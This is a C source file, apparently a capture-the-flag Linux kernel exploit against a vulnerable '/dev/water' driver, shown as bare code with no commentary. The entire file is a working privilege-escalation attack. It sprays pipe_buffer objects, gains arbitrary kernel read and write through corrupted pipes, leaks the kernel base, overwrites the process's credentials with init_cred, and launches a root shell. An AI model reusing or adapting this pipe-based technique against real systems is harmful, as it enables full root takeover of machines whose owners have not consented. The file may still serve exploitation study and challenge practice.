1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477
| #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <sched.h> #include <sys/prctl.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <stdint.h> #include <ctype.h>
size_t kernel_base = 0xffffffff81000000, kernel_offset = 0; size_t page_offset_base = 0xffff888000000000, vmemmap_base = 0xffffea0000000000; size_t init_task, init_nsproxy, init_cred;
void bind_core(int core){ cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set); printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core); }
int print_hex(void *p, int size) { int i; unsigned char *buf = (unsigned char *)p; if(size % sizeof(void *)) { return 1; } printf("--------------------------------------------------------------------------------\n"); for (i = 0; i < size; i += sizeof(void *)){ printf("0x%04x : %02X %02X %02X %02X %02X %02X %02X %02X 0x%lx\n", i, buf[i+0], buf[i+1], buf[i+2], buf[i+3], buf[i+4], buf[i+5], buf[i+6], buf[i+7], *(unsigned long*)&buf[i]); } return 0; }
void errPrint(char *msg) { printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg); sleep(2); exit(EXIT_FAILURE); }
size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n"); }
void get_root(void) { if(getuid()) { puts("\033[31m\033[1m[x] Failed to get the root!\033[0m"); sleep(5); exit(EXIT_FAILURE); } puts("\033[32m\033[1m[+] Successful to get the root. \033[0m"); puts("\033[34m\033[1m[*] Execve root shell now...\033[0m"); system("/bin/sh"); exit(EXIT_SUCCESS); }
struct pipe_buffer { struct page *page; unsigned int offset, len; const struct pipe_buf_operations *ops; unsigned int flags; unsigned long private; }; struct pipe_buf_operations { int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *); void (*release)(struct pipe_inode_info *, struct pipe_buffer *); int (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *); int (*get)(struct pipe_inode_info *, struct pipe_buffer *); };
#define PIPE_NUM 200 #define SND_PIPE_BUF_SZ 96 #define TRD_PIPE_BUF_SZ 192
int self_4th_pipe_idx = -1; int self_2nd_pipe_idx = -1; int self_3rd_pipe_idx = -1; struct pipe_buffer evil_2nd_buf, evil_3rd_buf, evil_4th_buf; char temp_zero_buf[0x1000] = {'\0'};
int pipe_list[PIPE_NUM][2];
void arbitrary_read_by_pipe(struct page *page_to_read, void *dst) { evil_2nd_buf.offset = 0; evil_2nd_buf.len = 0x1ff8; evil_2nd_buf.page = page_to_read; write(pipe_list[self_3rd_pipe_idx][1], &evil_4th_buf, sizeof(evil_4th_buf)); write(pipe_list[self_4th_pipe_idx][1], &evil_2nd_buf, sizeof(evil_2nd_buf)); write(pipe_list[self_4th_pipe_idx][1], temp_zero_buf, TRD_PIPE_BUF_SZ - sizeof(evil_2nd_buf)); write(pipe_list[self_4th_pipe_idx][1], &evil_3rd_buf, sizeof(evil_3rd_buf)); read(pipe_list[self_2nd_pipe_idx][0], dst, 0xfff); } void arbitrary_write_by_pipe(struct page *page_to_write, void *src, size_t len) { evil_2nd_buf.page = page_to_write; evil_2nd_buf.offset = 0; evil_2nd_buf.len = 0; write(pipe_list[self_3rd_pipe_idx][1], &evil_4th_buf, sizeof(evil_4th_buf)); write(pipe_list[self_4th_pipe_idx][1], &evil_2nd_buf, sizeof(evil_2nd_buf)); write(pipe_list[self_4th_pipe_idx][1], temp_zero_buf, TRD_PIPE_BUF_SZ - sizeof(evil_2nd_buf)); write(pipe_list[self_4th_pipe_idx][1], &evil_3rd_buf, sizeof(evil_3rd_buf)); write(pipe_list[self_2nd_pipe_idx][1], src, len); }
size_t direct_map_addr_to_page_addr(size_t direct_map_addr) { size_t page_count; page_count = ((direct_map_addr & (~0xfff)) - page_offset_base) / 0x1000; return vmemmap_base + page_count * 0x40; }
int main() { save_status(); bind_core(0);
int fd = open("/dev/water",O_RDWR); char buf[0x200];
memset(buf,0x31,0x200); ioctl(fd,0x20,&buf); ioctl(fd,0x30,&buf);
for(int i = 0; i < PIPE_NUM; i++){ if(pipe(pipe_list[i]) == -1){ errPrint("pipe"); } }
for (int i = 0; i < PIPE_NUM; i++){ if (fcntl(pipe_list[i][1], F_SETPIPE_SZ, 0x1000 * 8) < 0){ errPrint("fcntl"); } }
for (int i = 0; i < PIPE_NUM; i++){ write(pipe_list[i][1], "AAAAAAAA", 8); write(pipe_list[i][1], &i, sizeof(int)); write(pipe_list[i][1], &i, sizeof(int)); write(pipe_list[i][1], &i, sizeof(int)); write(pipe_list[i][1], "AAAAAAAA", 8); write(pipe_list[i][1], "BBBBBBBB", 8); }
memset(buf,0,0x200); ioctl(fd,0x50,&buf);
int victim_idx = -1; int orig_idx = -1; for (int i = 0; i < PIPE_NUM; i++){ char tag[0x10]; int nr; memset(tag, 0, sizeof(tag)); read(pipe_list[i][0], tag, 8); read(pipe_list[i][0], &nr, sizeof(int)); if (!strcmp(tag, "AAAAAAAA") && nr != i){ orig_idx = nr; victim_idx = i; printf("\033[32m\033[1m[+] Found index-%d and index-%d point the same page \033[0m\n",victim_idx, orig_idx); } } if (orig_idx == -1 || victim_idx == -1){ errPrint("can't find"); }
struct pipe_buffer info_pipe_buf; size_t snd_pipe_sz = 0x1000 * (SND_PIPE_BUF_SZ / sizeof(struct pipe_buffer));
memset(buf,'p',sizeof(buf)); write(pipe_list[victim_idx][1], buf, SND_PIPE_BUF_SZ * 2 - 24 - 3 * sizeof(int)); close(pipe_list[orig_idx][0]); close(pipe_list[orig_idx][1]);
puts("write down");
for (int i = 0; i < PIPE_NUM; i++){ if (i == orig_idx || i == victim_idx){ continue; } if (fcntl(pipe_list[i][1], F_SETPIPE_SZ, snd_pipe_sz) < 0){ errPrint("Fcntl Pipe"); } }
memset(buf,0,sizeof(buf)); read(pipe_list[victim_idx][0], buf, SND_PIPE_BUF_SZ - 8 - sizeof(int)); print_hex(buf,SND_PIPE_BUF_SZ - 8); read(pipe_list[victim_idx][0], &info_pipe_buf, sizeof(info_pipe_buf)); print_hex((char*)&info_pipe_buf,sizeof(info_pipe_buf));
printf("\033[34m\033[1m[?] info_pipe_buf->page: \033[0m%p\n" "\033[34m\033[1m[?] info_pipe_buf->ops: \033[0m%p\n", info_pipe_buf.page, info_pipe_buf.ops);
info_pipe_buf.page = (struct page *)((size_t)info_pipe_buf.page + 0x40); write(pipe_list[victim_idx][1], &info_pipe_buf, sizeof(info_pipe_buf)); puts("change pipe_buffer down");
int snd_orig_idx = -1; int snd_victim_idx = -1; for (int i = 0; i < PIPE_NUM; i++){ int nr; if (i == orig_idx || i == victim_idx){ continue; } read(pipe_list[i][0], &nr, sizeof(int)); if (i < PIPE_NUM && i != nr){ snd_orig_idx = nr; snd_victim_idx = i; printf("\033[32m\033[1m[+] Found index-%d and index-%d point the same page \033[0m\n",snd_victim_idx, snd_orig_idx); } }
if (snd_orig_idx == -1 || snd_victim_idx == -1){ errPrint("can't find"); }
size_t trd_pipe_sz = 0x1000 * (TRD_PIPE_BUF_SZ / sizeof(struct pipe_buffer)); struct pipe_buffer evil_pipe_buf; struct page *page_ptr;
memset(buf,'k',sizeof(buf)); write(pipe_list[snd_victim_idx][1], buf, TRD_PIPE_BUF_SZ - 24 - 3 * sizeof(int)); close(pipe_list[snd_orig_idx][0]); close(pipe_list[snd_orig_idx][1]); puts("write down");
for (int i = 0; i < PIPE_NUM; i++){ if (i == orig_idx || i == victim_idx || i == snd_orig_idx || i == snd_victim_idx){ continue; }
if (fcntl(pipe_list[i][1], F_SETPIPE_SZ, trd_pipe_sz) < 0){ errPrint("Fcntl Pipe"); } }
puts("fcntl down");
evil_pipe_buf.page = info_pipe_buf.page; evil_pipe_buf.offset = TRD_PIPE_BUF_SZ; evil_pipe_buf.len = TRD_PIPE_BUF_SZ; evil_pipe_buf.ops = info_pipe_buf.ops; evil_pipe_buf.flags = info_pipe_buf.flags; evil_pipe_buf.private = info_pipe_buf.private;
write(pipe_list[snd_victim_idx][1], &evil_pipe_buf, sizeof(evil_pipe_buf)); puts("change pipe_buffer down");
for (int i = 0; i < PIPE_NUM; i++){ if (i == orig_idx || i == victim_idx || i == snd_orig_idx || i == snd_victim_idx){ continue; }
read(pipe_list[i][0], &page_ptr, sizeof(page_ptr)); printf("%p\n",page_ptr); if (page_ptr == evil_pipe_buf.page){ self_2nd_pipe_idx = i; printf("\033[32m\033[1m[+] Found self-writing pipe:\033[0m%d\n", self_2nd_pipe_idx); break; } } evil_pipe_buf.offset = TRD_PIPE_BUF_SZ; evil_pipe_buf.len = TRD_PIPE_BUF_SZ;
memset(buf,'n',sizeof(buf)); write(pipe_list[snd_victim_idx][1], buf, TRD_PIPE_BUF_SZ - sizeof(evil_pipe_buf)); write(pipe_list[snd_victim_idx][1], &evil_pipe_buf, sizeof(evil_pipe_buf));
puts("change pipe_buffer down");
for (int i = 0; i < PIPE_NUM; i++){ if (i == orig_idx || i == victim_idx || i == snd_orig_idx || i == snd_victim_idx || i == self_2nd_pipe_idx){ continue; }
read(pipe_list[i][0], &page_ptr, sizeof(page_ptr)); printf("%p\n",page_ptr); if (page_ptr == evil_pipe_buf.page){ self_3rd_pipe_idx = i; printf("\033[32m\033[1m[+] Found self-writing pipe:\033[0m" "%d\n", self_3rd_pipe_idx); break; } }
evil_pipe_buf.offset = TRD_PIPE_BUF_SZ; evil_pipe_buf.len = TRD_PIPE_BUF_SZ;
memset(buf,'m',sizeof(buf)); write(pipe_list[snd_victim_idx][1], buf, TRD_PIPE_BUF_SZ - sizeof(evil_pipe_buf)); write(pipe_list[snd_victim_idx][1], &evil_pipe_buf, sizeof(evil_pipe_buf));
puts("change pipe_buffer down");
for (int i = 0; i < PIPE_NUM; i++){ if (i == orig_idx || i == victim_idx || i == snd_orig_idx || i == snd_victim_idx || i == self_2nd_pipe_idx || i == self_3rd_pipe_idx){ continue; }
read(pipe_list[i][0], &page_ptr, sizeof(page_ptr)); printf("%p\n",page_ptr); if (page_ptr == evil_pipe_buf.page){ self_4th_pipe_idx = i; printf("\033[32m\033[1m[+] Found self-writing pipe:\033[0m" "%d\n", self_4th_pipe_idx); break; } } memcpy(&evil_2nd_buf, &info_pipe_buf, sizeof(evil_2nd_buf)); memcpy(&evil_3rd_buf, &info_pipe_buf, sizeof(evil_3rd_buf)); memcpy(&evil_4th_buf, &info_pipe_buf, sizeof(evil_4th_buf));
evil_2nd_buf.offset = 0; evil_2nd_buf.len = 0xff0;
evil_3rd_buf.offset = TRD_PIPE_BUF_SZ * 3; evil_3rd_buf.len = 0;
write(pipe_list[self_4th_pipe_idx][1], &evil_3rd_buf, sizeof(evil_3rd_buf)); puts("change pipe_buffer down");
evil_4th_buf.offset = TRD_PIPE_BUF_SZ; evil_4th_buf.len = 0;
vmemmap_base = (size_t)info_pipe_buf.page & 0xfffffffff0000000; for (;;) { arbitrary_read_by_pipe((struct page *)(vmemmap_base + 157 * 0x40), buf);
if (*(uint64_t *)buf > 0xffffffff81000000 && ((*(uint64_t *)buf & 0xfff) == 0x0e0)) { kernel_base = *(uint64_t *)buf - 0x0e0; kernel_offset = kernel_base - 0xffffffff81000000; printf("\033[32m\033[1m[+] Found kernel base: \033[0m0x%lx\n" "\033[32m\033[1m[+] Kernel offset: \033[0m0x%lx\n", kernel_base, kernel_offset); break; }
vmemmap_base -= 0x10000000; } printf("\033[32m\033[1m[+] vmemmap_base:\033[0m 0x%lx\n\n", vmemmap_base);
uint64_t parent_task, current_task; puts("[*] Seeking task_struct in memory...");
uint64_t *comm_addr = 0; uint64_t *point_buf = malloc(0x1000);
char target[0x20]; strcpy(target, "8888888888"); if (prctl(PR_SET_NAME, target, 0, 0, 0) != 0){ errPrint("cannot set name"); }
for (int i = 0; 1; i++) { arbitrary_read_by_pipe((struct page *)(vmemmap_base + i * 0x40), point_buf);
comm_addr = memmem(point_buf, 0xf00, target, 0xd); if (comm_addr && (comm_addr[-2] > 0xffff888000000000) && (comm_addr[-3] > 0xffff888000000000) && (comm_addr[-57] > 0xffff888000000000) && (comm_addr[-56] > 0xffff888000)) {
parent_task = comm_addr[-60];
current_task = comm_addr[-54] - 2528; page_offset_base = (comm_addr[-54] & 0xfffffffffffff000) - i * 0x1000; page_offset_base &= 0xfffffffff0000000;
printf("\033[32m\033[1m[+] Found task_struct on page: \033[0m%p\n", (struct page *)(vmemmap_base + i * 0x40)); printf("\033[32m\033[1m[+] page_offset_base: \033[0m0x%lx\n", page_offset_base); printf("\033[34m\033[1m[*] current task_struct's addr: \033[0m" "0x%lx\n\n", current_task); break; } }
size_t *tsk_buf; uint64_t init_task = 0xffffffff83011200+kernel_offset; uint64_t init_cred = 0xffffffff8308c620+kernel_offset; uint64_t init_nsproxy = 0xffffffff8308c140+kernel_offset;
printf("\033[32m\033[1m[+] Found init_cred: \033[0m0x%lx\n", init_cred); printf("\033[32m\033[1m[+] Found init_cred: \033[0m0x%lx\n", init_cred); printf("\033[32m\033[1m[+] Found init_nsproxy:\033[0m0x%lx\n", init_nsproxy);
puts("[*] Escalating ROOT privilege now...");
size_t current_task_page = direct_map_addr_to_page_addr(current_task);
arbitrary_read_by_pipe((struct page *)current_task_page, buf); arbitrary_read_by_pipe((struct page *)(current_task_page + 0x40), &buf[512 * 8]);
tsk_buf = (size_t *)((size_t)buf + (current_task & 0xfff)); tsk_buf[367] = init_cred; tsk_buf[368] = init_cred; tsk_buf[381] = init_nsproxy;
arbitrary_write_by_pipe((struct page *)current_task_page, buf, 0xff0); arbitrary_write_by_pipe((struct page *)(current_task_page + 0x40),&buf[512 * 8], 0xff0);
puts("[+] Done.\n"); puts("[*] checking for root...");
get_root();
return 0; }
|